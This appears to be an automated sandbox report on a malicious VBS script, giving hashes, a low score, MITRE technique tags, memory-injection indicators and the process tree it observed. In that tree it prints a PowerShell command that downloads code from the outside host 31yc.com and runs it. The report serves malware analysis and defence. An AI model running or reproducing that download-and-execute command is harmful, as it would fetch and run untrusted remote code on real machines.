5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-04-2024 15:28

Target

XLmHZoH3jT7ooBpaql04sF7IHtxIsJ44ZbdcSaIYeDE.vbs
Size

8KB
MD5

29552b793e8d97538afff1aaf566a625
SHA1

e3931fca0386f00e1c246039c3491b686e5d8354
SHA256

5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831
SHA512

a847bcc585e75118920548bce0ab85cc4f9f3305052dc835a2cdf7ec127982e7d2e94519505c73c429709665b231ba259477f5efe468815ea1c237edd247f2f6
SSDEEP

192:YMg119gkCtL3IqSPN3QzGNzUoNJnN/Y99957:jy19gR3IquNgzG2oNl4

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 3028	2924	WScript.exe	28
PID 2924 wrote to memory of 3028	2924	WScript.exe	28
PID 2924 wrote to memory of 3028	2924	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XLmHZoH3jT7ooBpaql04sF7IHtxIsJ44ZbdcSaIYeDE.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/sjcgwjvm')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/3028-4-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/3028-5-0x0000000002620000-0x0000000002628000-memory.dmp

Filesize
32KB

Download
memory/3028-6-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-7-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/3028-10-0x0000000002AEB000-0x0000000002B52000-memory.dmp

Filesize
412KB

Download
memory/3028-9-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-8-0x0000000002AE4000-0x0000000002AE7000-memory.dmp

Filesize
12KB

Download
memory/3028-11-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download